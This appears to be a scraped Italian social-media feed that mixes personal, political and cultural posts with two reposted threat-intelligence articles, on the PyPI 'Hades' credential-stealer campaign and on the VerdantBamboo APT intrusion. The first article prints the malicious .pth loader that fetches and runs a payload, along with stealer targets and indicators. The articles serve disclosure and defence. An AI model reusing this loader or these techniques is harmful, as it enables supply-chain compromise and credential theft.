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Visto che migrando da un'altra istanza probabilmente i miei post si sono persi, riposto il link al podcast che ho realizzato per Drone Pilots Team dronepilotsteam.it

youtube.com/playlist?list=PLW6…

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Siamo al limite dell'esperienza personale perciò non si può considerarla scienza. Noto però che nei canali YouTube dove parlano di cronaca, "true crime", spesso e volentieri chi ragiona commentando con la filosofia dell'estrema destra, ha degli errori grammaticali e ortografici terrificanti. E io intendo commenti tipo "ai miei tempi gliele avrebbero date", "ci vogliono le ronde", "devono usare il manganello" ecc. Su video che magari parlano di bambini/ragazzi con problemi comportamentali. #TrueCrimeItalia
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«Cambiate istanza!». Le mie Riflessioni Tossiche del 30 maggio scorso.

poliversity.it/@Trames/1166626…


Riflessioni tossiche sul Fediverso.

Quarta puntata.


Oggi intendo fare un discorso un po' più complesso. Inizierò raccontando di come venni a conoscenza del Fediverso.

Era il 2022.

Il mio social preferito, Twitter, pretendeva di farmi partecipare al controllo della veridicità delle notizie lì pubblicate. Mi sembrava ridicolo che chiedesse aiuto a me anziché provvedere a controllare attraverso i propri dipendenti. Con tutti i soldi che prendeva dagli sponsor...

Uno dei fondatori se n'era andato. Annunciava di volere ricreare il social delle origini, diverso dall'attuale che si era troppo riempito di pubblicità e che si dimostrava poco attento ai gusti dei propri utenti. Tuttavia i mesi passavano, il nuovo social tardava a nascere, mentre Twitter continuava a peggiorare.

Sempre più spesso leggevo di un altro nuovo social, il quale presentava però la complessità di essere suddiviso in tanti server diversi, che curiosamente si chiamavano istanze. Dicevano che iscrivendosi a una qualsiasi istanza si sarebbe potuto poi comunicare con tutte le altre. Gli articoli parlavano talvolta di “Mastodon” e talvolta di “Fediverso”, non avevo ancora capito bene se si trattasse della stessa cosa.

Dicevano che bisognasse scegliere bene a quale istanza iscriversi. Circolavano elenchi d'istanze, ognuna con le sue peculiarità: alcune molto politicizzate, altre generaliste, altre più tematiche.

Cominciai a pensare d'iscrivermi, ma per farlo avrei dovuto innanzitutto scegliere un'istanza. In quelle generaliste preferivo non entrare perché ero deluso dal generalista Twitter. Quelle politicizzate mi sembravano troppo vincolanti. Per esclusione ne scelsi una fondata da un musicista e nata per fare cultura, scambiarsi impressioni sulle proprie attività del tempo libero, magari sulle proprie letture. Mi c'iscrissi e cominciai a pubblicare i link a ciò che leggevo, cioè articoli da cui capire che direzione stesse prendendo il mondo. Alcuni di essi parlavano di guerre. Dopo pochi giorni, un moderatore mi chiese di nasconderli dietro a un Content Warning per non disturbare chi parlava di videogiochi.

Videogiochi?!?

Guardai meglio la timeline locale, mi resi conto che in istanza si parlava soprattutto di quelli. Come avevo fatto a non accorgermi che il suo misterioso nome, Livello Segreto, si riferiva ai livelli dei videogiochi?

Avevo sbagliato istanza. Per fortuna gli account si possono trasferire. Una sera decisi di trasferirmi in un'istanza per giornalisti1. Feci la domanda d'iscrizione spiegando che, sebbene non fossi un giornalista, mi piaceva pubblicare link ad articoli. Con mia grande emozione, venni accettato in Poliversity.it e mi ci trasferii.

Gli articoli che leggevo riguardo a Mastodon spiegavano che ci si dovesse costruire la propria timeline seguendo i giusti account. Quando gli account seguiti divennero tanti, costruii più timeline diverse organizzando gli account per argomento attraverso le liste. Nacquero così esattamente le liste che ogni tanto condivido nei “Consigli di Follow”. Anche ai bei vecchi tempi di Twitter mi piaceva condividere liste di account.

§

Fatta questa premessa, eccomi finalmente alla parte tossica del discorso.

Essere presenti nel Fediverso non è solo costruirsi la propria timeline attraverso un'oculata scelta di chi si segue. O le proprie timeline attraverso la suddivisione in liste.

Non è neanche pubblicare ogni tanto qualcosa per farsi sentire, nemmeno se quel qualcosa ci sta a cuore.

Essere presenti è innanzitutto scegliere con cura l'istanza in cui stare, affinché sia affine ai nostri interessi e dica così qualcosa di noi.

In tanti perdono entusiasmo perché non condividono le scelte dei propri admin d'istanza. Cambiate istanza, sceglietene una che vi assomigli e che vi dia gli strumenti di cui avete bisogno.

Cambiate istanza! È inutile restare in un'istanza basata sulla piattaforma Mastodon se si pubblicano prevalentemente fotografie, così com'è sciocco creare di continuo fastidiose catene di post (i thread) quando si può scegliere un'istanza che consenta post più lunghi.

E, dopo aver scelto bene l'istanza, se abbiamo un'idea di che cosa ci piace diamoci da fare per crearla: costruiamo noi il Fediverso così come ci piace!

§

Come sempre concludo con gli hashtag che voglio appiccicare a questo post: #riflessionitossiche, #istanze e #CostruiamoIlFediverso. E cito la comunità @fediverso perché è moderata dallo stesso admin dell'istanza in cui mi trovo.

Arrivederci alla prossima Riflessione Tossica.

1 Che poliversity.it fosse “per giornalisti” è stato un mio pregiudizio: com'è scritto in descrizione, «l'istanza è focalizzata sull'ambiente accademico, scientifico, scolastico e su quello dell'informazione e del giornalismo. In un momento in cui la cultura scientifica e il mondo dell'informazione sembrano assediati dalla disinformazione, le fake news e il pensiero magico, Poliversity vorrebbe diventare una sorta di piazza accademica del Fediverso italiano per la promozione dell'incontro tra conoscenza e informazione».


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in reply to Trames Venenosus

@Trames Venenosus

Ecco, io invece sono arrivato su questa istanza praticamente per caso, perché è l'unica aperta e italiana che usa Friendica.

Più che l'istanza mi interessava la piattaforma, mi ero informato su cosa offrisse il Fediverso e l'idea di finire su una piattaforma come Mastodon non mi piaceva per niente, proprio per la storia sul numero massimo di caratteri.

Sinceramente non ho mai frequentato la timeline locale, leggo solo i post degli utenti che seguo, quindi da questo punto di vista per me il tema dell'istanza non è mai stato importante.

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Starò zitta quando i bambini dormiranno in pace, NON quando vengono sterminati, decapitati e bruciati vivi con bombe fornite dall’Occidente democratico. #DeGregori #GENOCIDIO
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È inquietante leggere articoli come questo, dove si legge: "La tanto decantata cosiddetta leadership tecnologica dell’Ucraina è, in realtà, solo un sottile strato di adattamento locale costruito su una solida base di infrastrutture militari americane per l’intelligenza artificiale da combattimento."

substack.com/home/post/p-20081…

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“the West is everything they told you China was”

by Deaglan O’Mulrooney in the spectacle on Substack

@BBC5Live
@BBCRadio4
@BBCNews
@guardian
@Independent
@thetimes
@newyorktimes
@miamiherald
@europe
@EUCommission
@euparliament
@vonderleyen
@uk_politics

“So the next time you hear a Western politician condemn China for silencing dissent, ask them about Hüseyin Doğru. Ask them about the BBC cutting ‘free Palestine’ from a BAFTA speech. Ask them about the pregnant woman body-slammed in Amsterdam and the demonstrators being brutalised in Berlin. Ask them about von der Leyen’s heckler being arrested after she joked that in Russia, he would be arrested. The West is everything they told you China was. The only difference is that the Empire has better public relations”

open.substack.com/pub/thespect…

#Press #SocialMedia #UK #EU #Surveillance #Censorship #Sanctions #AbuseOfPower #PoliceViolence #PoliceBrutality #Netherlands #Germany #Hypocrisy #Gaslighting #VonDerLeyen #BBC #MSM

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The Yellow Milkmaid Syndrome.

"The Milkmaid’, one of Johannes Vermeer's most famous pieces, depicts a scene of a woman quietly pouring milk into a bowl. During a survey the Rijksmuseum discovered that there were over 10,000 copies of the image on the internet—mostly poor, yellowish reproductions. As a result of all of these low-quality copies on the web, according to the Rijksmuseum, “people simply
didn’t believe the postcards in our museum shop were showing the original painting. This was the trigger for us to put high-resolution images of the original work with open metadata on the web ourselves. Opening up our data is our best defence against the ‘yellow Milkmaid’."
pro.europeana.eu/post/the-prob…
#art #collections #museum #openmuseum

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La tentazione è quella di relegare questa tragedia alla marginalità sociale, alla criminalità, allo sfruttamento del lavoro agricolo, a un contesto che molti percepiscono come lontano dal proprio quotidiano. Ma sarebbe un errore. Perché ciò che è accaduto rappresenta la forma estrema e più sanguinosa di una dinamica che attraversa silenziosamente la vita di tutti i giorni.

fortapasc.it/editoriale/infern…

#caporalato #sfruttamento

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Ha ottenuto un'esenzione religiosa dall'uso dell'intelligenza artificiale sul lavoro. Le osservazioni del Papa potrebbero alimentare appelli simili.

Opponendosi all'utilizzo dell'intelligenza artificiale per il suo lavoro di ingegneria del software, Erin Maus si è assicurata una sorta di miracolo dal suo datore di lavoro: un'esenzione religiosa.

businessinsider.com/worker-got…

@aitech

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#AssaltoAllePiattaforme

Se siete #insegnanti e volete far capire agli studenti perché e soprattutto come evitare i #GAFAM non c'è nulla di meglio del libro di @kenobit maria2021.noblogs.org/files/20…

Noi possiamo parlare teoricamente di sorveglianza, estrattivismo, tecnofeudalesimo. Kenobit, invece, ne illustra praticamente l'effetto per per lui personalmente e per tutti noi: essere ridotti a produttori di "contenuti", vale a dire di roba fungibile, sulla base di algoritmi e numeri stabiliti da interessi altrui, per trasformarci in bersagli commerciali, se siamo fortunati, o anche militari, se non lo siamo.

L'alternativa è nelle nostre mani, se smettiamo di giudicarci con metri altrui:

La più grande sorpresa è stato l’effetto dirompente della riconquista del mio tempo. Ho risparmiato centinaia di ore, che fino a poco tempo fa dovevo investire per appagare le esigenze degli algoritmi. Libero dalle catene del content, ho ritrovato spazi di creatività che credevo perduti per sempre. Senza tirarmi il collo, sono riuscito a fare molto di più, e meglio. Ho avuto la serenità e la concentrazione per scrivere e autoprodurre un piccolo saggio, Liberare il mio smartphone per liberare me stesso, ho composto un disco di cui sono molto felice e ho potuto coltivare gli studi che hanno portato alla nascita del libro che avete tra le mani. Il tutto, tengo a sottolinearlo, con una serenità che non provavo dal fatidico giorno in cui decisi di tentare la fortuna come content creator. La libertà digitale mi ha restituito il piacere di fare ciò che amo.


Quanto racconta Kenobit vale allo stesso modo per i ricercatori asserviti dalla bibliometria, che è l'algoritmo della valutazione amministrativa della ricerca.

Siamo molto meno intelligenti di quanto pensiamo di essere - ma potremmo anche essere assai meno stupidi di quanto ci inducono a essere.

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Niente aumenti in Teradata: hanno speso tutto per l'intelligenza artificiale! 🤡

Per anni, i CEO del settore tecnologico hanno utilizzato l'intelligenza artificiale come scusa per giustificare i licenziamenti. In realtà, però, molti esperti affermano che ciò che sta realmente accadendo è che i dirigenti stanno dirottando risorse finanziarie verso l’intelligenza artificiale a scapito di tutto il resto —compresa la fidelizzazione dei dipendenti.

finance.yahoo.com/sectors/tech…

@lavoro

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Il sindaco di Shelbyville, Indiana, afferma che solo le persone che vivono in ‘case di merda’ si oppongono al data center


Una proposta Centro dati da 2 miliardi di dollari è diventato un punto critico politico nella piccola città di Shelbyville, Indiana. E la controversia è diventata ancora più intensa dopo che il sindaco, Scott Furgeson, è stato ripreso dalla telecamera dicendo dei cartelli “No Data Center” che stanno salendo, “ne ho visti molti in tutta la città, ma li vedo solo in case di merda,” prima di aggiungere, “la maggior parte sono in affitto.”


Gli abitanti della città affermano che Scott Furgeson è stato irrispettoso.

theverge.com/ai-artificial-int…

@aitech

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a urbino, fino al 10 luglio: “il sogno di una cosa migliore. presenze e idee. 1967 – 2027”, accademia di belle arti



ll sogno di una cosa migliore. Presenze e idee. 1967 – 2027
Pierpaolo Calzolari, “Marco Cavallo”, Vittorio Basaglia, Concetto PozzatiA cura di Luca Cesari
Accademia di Belle Arti di Urbino – Sala A. Cappelli
10 maggio – 10 luglio 2026

"Marco Cavallo", riproduzione in 3D del modello originale della scultura metallica e in cartapesta realizzata nel 1973 da Vittorio Basaglia insieme ai pazienti del manicomio di Trieste, replicato dalla Scuola di Scultura dell'Accademia di Urbino. Foto Gian Luca Proietti.
“Marco Cavallo”, riproduzione in 3D del modello originale della scultura metallica e in cartapesta realizzata nel 1973 da Vittorio Basaglia insieme ai pazienti del manicomio di Trieste, replicato dalla Scuola di Scultura dell’Accademia di Urbino. Foto Gian Luca Proietti.

“Il sogno di una cosa migliore. Presenze e idee. 1967 – 2027” è una mostra-evento pensata per festeggiare in anteprima il sessantennale dell’Accademia di Belle Arti di Urbino, rievocando la straordinaria stagione del ’68 che l’istituzione affrontò sotto la lungimirante direzione di Concetto Pozzati, ponendo al centro la riproduzione 3D del monumentale “Marco Cavallo” realizzato da Vittorio Basaglia (cugino di Franco Basaglia), come occasione per rievocare l’importanza di una stagione di grande cambiamento, apertura e sovvertimento delle regole.

Curato da Luca Cesari, il progetto muove dal desiderio di presentare al pubblico un’accurata selezione di opere e documenti d’archivio in grado di restituire l’atmosfera fervida e rivoluzionaria dei primi anni dell’istituzione (appunto fondata nel 1967) e del suo innovativo progetto didattico originario.

La mostra si focalizza sulla straordinaria stagione legata al clima del 1968, un momento che impresse una svolta indelebile sulla cultura e le arti. Sotto la guida illuminata del Direttore e artista Concetto Pozzati, l’Accademia di Urbino seppe proporre un concreto ammodernamento dell’impostazione della didattica, inserendosi con audacia nell’ambiente – allora non particolarmente ricettivo – dell’istruzione artistica nazionale. Pozzati seppe delineare il progetto di un’Istituzione di Alta Formazione d’avanguardia per l’epoca, chiamando all’insegnamento personalità di altissimo profilo, artisti e intellettuali come Pier Paolo Calzolari, Vittorio Basaglia, Mario Ceroli, Rodolfo Aricò, Gianni Celati, Alberto Boatto e Toni Toniato. Quella indimenticabile stagione viene oggi rievocata non come mera ricostruzione storica, ma come vivo “campo di relazioni”.

Il percorso espositivo presenta quindi preziosi documenti storici risalenti al periodo fondativo 1967-1974, custoditi negli archivi dell’Accademia, affiancati da foto storiche di Pier Paolo Calzolari e da due importanti opere pittoriche di Concetto Pozzati datate 1968 e 1969.

Fulcro concettuale e visivo della mostra è la figura di “Marco Cavallo”, il grande cavallo azzurro indissolubilmente legato all’impegno intellettuale e militante di Franco Basaglia e alla stagione della riforma psichiatrica italiana. In mostra compare una straordinaria riproduzione in 3D del modello originale della scultura metallica e in cartapesta realizzata nel 1973 da Vittorio Basaglia (cugino di Franco) insieme ai pazienti del manicomio di Trieste, durante un laboratorio artistico collettivo svolto nei primi anni ‘70. Curata e replicata in 3D dalla Scuola di Scultura dell’Accademia di Urbino, l’opera diventa l’emblema di una stagione in cui i confini tra pratiche artistiche, istituzione psichiatrica e partecipazione collettiva risultarono profondamente permeabili. Come descritto nel testo critico del curatore, la mostra si configura come un «avant-propos», un dispositivo culturale in cui “Marco Cavallo” assume un ruolo simbolico più ampio, unendo l’arte all’azione nello spazio sociale.

Come osserva il direttore e curatore Luca Cesari, “le Accademie di Belle Arti sono oggi a tutti gli effetti «università delle arti», nonostante il loro pieno riconoscimento come istituzioni universitarie sia arrivato con storico ritardo rispetto ad altri paesi europei. Un ritardo strutturale che incide ancora su risorse e posizionamento culturale. In questa prospettiva, l’Accademia di Urbino si colloca dentro una trasformazione più ampia del sistema formativo, tra autonomia disciplinare e integrazione universitaria, muovendo una profonda riflessione sul presente: cosa significa oggi formare un artista?”

Questo sguardo rivolto al contemporaneo si riflette nel rinnovamento dell’offerta formativa dell’Accademia di Urbino oggi. Accanto agli indirizzi storici di Decorazione, Pittura, Scultura, Scenografia e Grafica d’Arte, Illustrazione e NTA (Nuovo Tecnologie dell’Arte), l’Istituzione ha introdotto altri percorsi di studio innovativi. Per il primo livello, i corsi in Educazione al Patrimonio Artistico e Welfare Culturale (attivo dal 2025/26) e Human Centered Multimedia Art (dal 2026/27); per il secondo livello, corsi specifici e professionali come Critical Game Art, Design per la Fiction, Grafica d’Arte per le Arti Visive, Scenografia per lo Spettacolo e Scultura nei linguaggi dell’arte visiva e tecnologie, confermandosi in continuità con l’eredità sperimentale innescata dai maestri fondatori.
#AccademiaDiBelleArtiDiUrbino #ConcettoPozzati #llSognoDiUnaCosaMigliore #LucaCesari #MarcoCavallo #PierpaoloCalzolari #VittorioBasaglia

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reportage from the genocide


palestinian child's brain, shot by an israeli sniper

differx.noblogs.org/2026/06/07…
articolo di Claudileia Lemes Dias
#ClaudileiaLemesDias #Gaza #genocide #Israhell #reportage

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Il fatto che Vannacci stia imbarcando gente seguendo il principio "basta che respirino" mi fa pensare due cose.

1. Il geniale Vannacci sta cercando servi sciocchi da sfruttare come rampa di lancio per il suo partito. Tutta gente che verrà scaricata non appena il partito potrà permettersi una dirigenza realmente fascista come piace a lui;

2. Futuro Nazionale è un partito-giocattolo che quel fessacchiotto di Vannacci si è costruito pensando chissà cosa ma che servirà al massimo a gratificare il suo ego per qualche annetto, senza nessuna possibilità di giocare un vero ruolo politico nel paese.

Vedremo.

ilpost.it/2026/06/06/davide-be…

in reply to Max - Poliverso 🇪🇺🇮🇹

temo seriamente che invece un ruolo lo avrà; in un sistema maggioritario un partito di taglia medio-piccola può fare la differenza tra fiducia e sfiducia. Inoltre la pletora di soggetti galvanizzati intorno alla propaganda e disinformazione sinosovietica, chi include i (neo)fascisti di vario ordine e grado, é preoccupante numerosa. Il carburante di declino e crisi varie é fornito dagli USA. La deprecabile macchina potrebbe fare molta strada.
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Da pochi giorni è in libreria il volume in cui ricostruisco il pensiero di Guido Calogero sull'educazione e sulla scuola, restituendo alla tradizione di pensiero dei riformatori post-idealisti la fondamentale dimensione egualitaria e socialista

@scuola @universitaly @poliversity

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✨ Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori
#CyberSecurity
insicurezzadigitale.com/campag…

@informatica


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


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✨ VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite
#CyberSecurity
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VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


